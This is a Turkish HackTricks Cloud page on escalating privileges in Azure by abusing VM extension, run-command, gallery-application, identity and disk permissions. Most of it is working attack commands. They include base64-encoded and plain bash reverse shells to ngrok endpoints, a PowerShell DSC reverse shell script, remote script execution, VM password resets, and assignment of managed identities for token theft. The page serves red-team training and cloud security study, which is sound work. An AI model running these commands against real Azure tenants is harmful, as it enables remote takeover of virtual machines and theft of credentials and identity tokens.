Az - Sanal Makineler & Ağ Privesc
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
VMS & Ağ
Azure Sanal Makineleri ve Ağ hakkında daha fazla bilgi için kontrol edin:
Az - Virtual Machines & Network
Microsoft.Compute/virtualMachines/extensions/write
Bu izin, sanal makinelerde uzantıları çalıştırmaya olanak tanır ve onlarda rastgele kod çalıştırılmasını sağlar.
Bir VM’de rastgele komutlar çalıştırmak için özel uzantıların kötüye kullanılması örneği:
- Bir ters shell çalıştır
# Prepare the rev shell
echo -n 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ==
# Execute rev shell
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{}' \
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
- İnternette bulunan bir scripti çalıştırın
az vm extension set \
--resource-group rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'
Ayrıca, VMs içinde kod çalıştırmak veya ayrıcalıklı eylemler gerçekleştirmek için iyi bilinen uzantıların kötüye kullanılması da mümkündür:
VMAccess uzantısı
Bu uzantı, Windows VMs içindeki kullanıcıların şifresini değiştirmeye (veya yoksa oluşturmasına) olanak tanır.
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
DesiredConfigurationState (DSC)
Bu, Azure Windows VM’lerinin yapılandırmasını yönetmek için PowerShell DSC kullanan Microsoft’a ait bir VM uzantısıdır. Bu nedenle, bu uzantı aracılığıyla Windows VM’lerinde rastgele komutlar çalıştırmak için kullanılabilir:
# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {
Script ReverseShell {
GetScript = { @{} }
SetScript = {
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte, 0, $sendbyte.Length)
}
$client.Close()
}
TestScript = { return $false }
}
}
}
RevShellConfig -OutputPath .\Output
# Upload config to blob
$resourceGroup = 'dscVmDemo'
$storageName = 'demostorage'
Publish-AzVMDscConfiguration `
-ConfigurationPath .\revShell.ps1 `
-ResourceGroupName $resourceGroup `
-StorageAccountName $storageName `
-Force
# Apply DSC to VM and execute rev shell
$vmName = 'myVM'
Set-AzVMDscExtension `
-Version '2.76' `
-ResourceGroupName $resourceGroup `
-VMName $vmName `
-ArchiveStorageAccountName $storageName `
-ArchiveBlobName 'revShell.ps1.zip' `
-AutoUpdate `
-ConfigurationName 'RevShellConfig'
Hibrit Runbook Çalışanı
Bu, otomasyon hesabından VM’lerde runbook’ları çalıştırmaya olanak tanıyan bir VM uzantısıdır. Daha fazla bilgi için Otomasyon Hesapları hizmetine bakın.
Microsoft.Compute/disks/write, Microsoft.Network/networkInterfaces/join/action, Microsoft.Compute/virtualMachines/write, (Microsoft.Compute/galleries/applications/write, Microsoft.Compute/galleries/applications/versions/write)
Bunlar, yeni bir galeri uygulaması oluşturmak ve bunu bir VM içinde çalıştırmak için gereken izinlerdir. Galeri uygulamaları her şeyi çalıştırabilir, bu nedenle bir saldırgan bunu, rastgele komutlar çalıştıran VM örneklerini tehlikeye atmak için kötüye kullanabilir.
Son 2 izin, uygulamayı kiracı ile paylaşarak atlanabilir.
Rastgele komutlar çalıştırmak için istismar örneği:
# Create gallery (if the isn't any)
az sig create --resource-group myResourceGroup \
--gallery-name myGallery --location "West US 2"
# Create application container
az sig gallery-application create \
--application-name myReverseShellApp \
--gallery-name myGallery \
--resource-group <rsc-group> \
--os-type Linux \
--location "West US 2"
# Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
az sig gallery-application version create \
--version-name 1.0.2 \
--application-name myReverseShellApp \
--gallery-name myGallery \
--location "West US 2" \
--resource-group <rsc-group> \
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"
# Install the app in a VM to execute the rev shell
## Use the ID given in the previous output
az vm application set \
--resource-group <rsc-group> \
--name <vm-name> \
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
--treat-deployment-as-failure true
Microsoft.Compute/virtualMachines/runCommand/action
Azure’ın VM’lerde rastgele komutlar çalıştırmak için sağladığı en temel mekanizma:
# Execute rev shell
az vm run-command invoke \
--resource-group <rsc-group> \
--name <vm-name> \
--command-id RunShellScript \
--scripts @revshell.sh
# revshell.sh file content
echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh
Microsoft.Compute/virtualMachines/login/action
Bu izin, bir kullanıcının bir VM’ye SSH veya RDP üzerinden kullanıcı olarak giriş yapmasına olanak tanır (VM’de Entra ID kimlik doğrulaması etkinleştirildiği sürece).
SSH üzerinden az ssh vm --name <vm-name> --resource-group <rsc-group> ile ve RDP üzerinden normal Azure kimlik bilgilerinizi kullanarak giriş yapın.
Microsoft.Compute/virtualMachines/loginAsAdmin/action
Bu izin, bir kullanıcının bir VM’ye SSH veya RDP üzerinden kullanıcı olarak giriş yapmasına olanak tanır (VM’de Entra ID kimlik doğrulaması etkinleştirildiği sürece).
SSH üzerinden az ssh vm --name <vm-name> --resource-group <rsc-group> ile ve RDP üzerinden normal Azure kimlik bilgilerinizi kullanarak giriş yapın.
Microsoft.Resources/deployments/write, Microsoft.Network/virtualNetworks/write, Microsoft.Network/networkSecurityGroups/write, Microsoft.Network/networkSecurityGroups/join/action, Microsoft.Network/publicIPAddresses/write, Microsoft.Network/publicIPAddresses/join/action, Microsoft.Network/networkInterfaces/write, Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action, Microsoft.Network/networkInterfaces/join/action, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Bunlar, belirli bir yönetilen kimlik ile bir VM oluşturmak ve bir portu açık bırakmak (bu durumda 22) için gerekli izinlerdir. Bu, bir kullanıcının bir VM oluşturmasına ve ona bağlanmasına ve yönetilen kimlik jetonlarını çalarak ayrıcalıkları artırmasına olanak tanır.
Duruma bağlı olarak, bu tekniği kötüye kullanmak için daha fazla veya daha az izin gerekebilir.
az vm create \
--resource-group Resource_Group_1 \
--name cli_vm \
--image Ubuntu2204 \
--admin-username azureuser \
--generate-ssh-keys \
--assign-identity /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourcegroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity \
--nsg-rule ssh \
--location "centralus"
# By default pub key from ~/.ssh is used (if none, it's generated there)
Microsoft.Compute/virtualMachines/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Bu izinler, bir VM’ye yeni yönetilen kimlikler atamak için yeterlidir. Bir VM’nin birden fazla yönetilen kimliği olabilir. Sistem atanan bir kimliği ve birçok kullanıcı yönetilen kimliği olabilir.
Daha sonra, metadata hizmetinden her biri için token’lar oluşturmak mümkündür.
# Get currently assigned managed identities to the VM
az vm identity show \
--resource-group <rsc-group> \
--name <vm-name>
# Assign several managed identities to a VM
az vm identity assign \
--resource-group <rsc-group> \
--name <vm-name> \
--identities \
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity1 \
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity2
O zaman saldırganın VM’yi bir şekilde ele geçirmiş olması gerekir ve atanan yönetilen kimliklerden token çalması gerekir. daha fazla bilgi için kontrol edin:
Microsoft.Compute/virtualMachines/read, Microsoft.Compute/virtualMachines/write, Microsoft.Compute/virtualMachines/extensions/read, Microsoft.Compute/virtualMachines/extensions/write
Bu izinler, sanal makineye erişmek için kullanıcı ve şifreyi değiştirmeye olanak tanır:
az vm user update \
--resource-group <RESOURCE_GROUP_NAME> \
--name <VM_NAME> \
--username <USERNAME> \
--password <NEW_PASSWORD>
Microsoft.Compute/virtualMachines/write, “Microsoft.Compute/virtualMachines/read”, “Microsoft.Compute/disks/read”, “Microsoft.Network/networkInterfaces/read”, “Microsoft.Network/networkInterfaces/join/action”, “Microsoft.Compute/disks/write”.
Bu izinler, diskleri ve ağ arayüzlerini yönetmenizi sağlar ve bir diski sanal makineye eklemenizi mümkün kılar.
# Update the disk's network access policy
az disk update \
--name <disk-name> \
--resource-group <resource-group-name> \
--network-access-policy AllowAll
# Attach the disk to a virtual machine
az vm disk attach \
--vm-name <vm-name> \
--resource-group <resource-group-name> \
--name <disk-name>
TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action
Belgeler göre, bu izin, kaynağınızın işletim sistemini Windows Admin Center üzerinden bir yönetici olarak yönetmenizi sağlar. Bu nedenle, bu iznin VMs’leri kontrol etmek için WAC’a erişim sağladığı anlaşılıyor…
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

